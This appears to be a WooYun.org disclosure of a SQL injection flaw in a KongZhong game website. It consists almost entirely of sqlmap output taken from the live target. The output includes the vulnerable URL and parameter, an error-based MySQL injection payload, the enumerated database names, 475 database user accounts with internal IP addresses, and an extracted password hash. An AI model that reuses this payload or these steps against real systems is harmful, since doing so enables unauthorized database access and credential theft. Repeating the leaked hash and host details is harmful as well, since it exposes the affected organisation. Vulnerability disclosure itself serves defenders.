WooYun.org

空中网：
点：
http://center.tkfy.kongzhong.com/user/get_user_server?account=
[14:21:29] [INFO] resuming back-end DBMS 'mysql'
[14:21:29] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: account
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: account=' AND (SELECT 8008 FROM(SELECT COUNT(*),CONCAT(0x3a6978723a,(SELECT
(CASE WHEN (8008=8008) THEN 1 ELSE 0 END)),0x3a6d70643a,FLOOR(RAND(0)*2))x FROM INFORMA
TION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'vCNA'='vCNA
---
[14:21:29] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.4.28
back-end DBMS: MySQL 5.0
[14:21:29] [INFO] fetching database names
[14:21:29] [INFO] the SQL query used returns 7 entries
[14:21:29] [INFO] resumed: information_schema
[14:21:29] [INFO] resumed: kongzhong_tank_s1
[14:21:29] [INFO] resumed: kongzhong_tank_web_center
[14:21:29] [INFO] resumed: kongzhong_tank_web_s1
[14:21:29] [INFO] resumed: mysql
[14:21:29] [INFO] resumed: performance_schema
[14:21:29] [INFO] resumed: test
available databases [7]:
[*] information_schema
[*] kongzhong_tank_s1
[*] kongzhong_tank_web_center
[*] kongzhong_tank_web_s1
[*] mysql
[*] performance_schema
[*] test
[14:43:49] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.4.28
back-end DBMS: MySQL 5.0
[14:43:49] [INFO] fetching database users
[14:43:49] [INFO] the SQL query used returns 475 entries
database management system users [475]:
[*] ''@'localhost'
[*] 'root'@'%'
[*] 'root'@'127.0.0.1'
[*] 'root'@'::1'
[*] 'root'@'localhost'
[*] 'tencentroot'@'10.142.5.29'
[*] 'tencentroot'@'10.142.62.18'
[*] 'tencentroot'@'10.142.62.26'
[*] 'tencentroot'@'10.182.28.55'
[*] 'tencentroot'@'10.182.63.40'
[*] 'tencentroot'@'10.207.50.62'
[*] 'tencentroot'@'127.0.0.1'
[*] 'tencentroot'@'20.142.5.29'
[*] 'tencentroot'@'20.142.62.18'
[*] 'tencentroot'@'20.142.62.26'
[*] 'tencentroot'@'20.182.28.55'
[*] 'tencentroot'@'20.182.63.40'
[*] 'tencentroot'@'localhost'
database management system users password hashes:
[*] root [1]:
password hash: NULL
[*] tencentroot [2]:
password hash: *9CADC0613D1E6A7F96E47E75A86EFEBF43887538
password hash: NULL
ok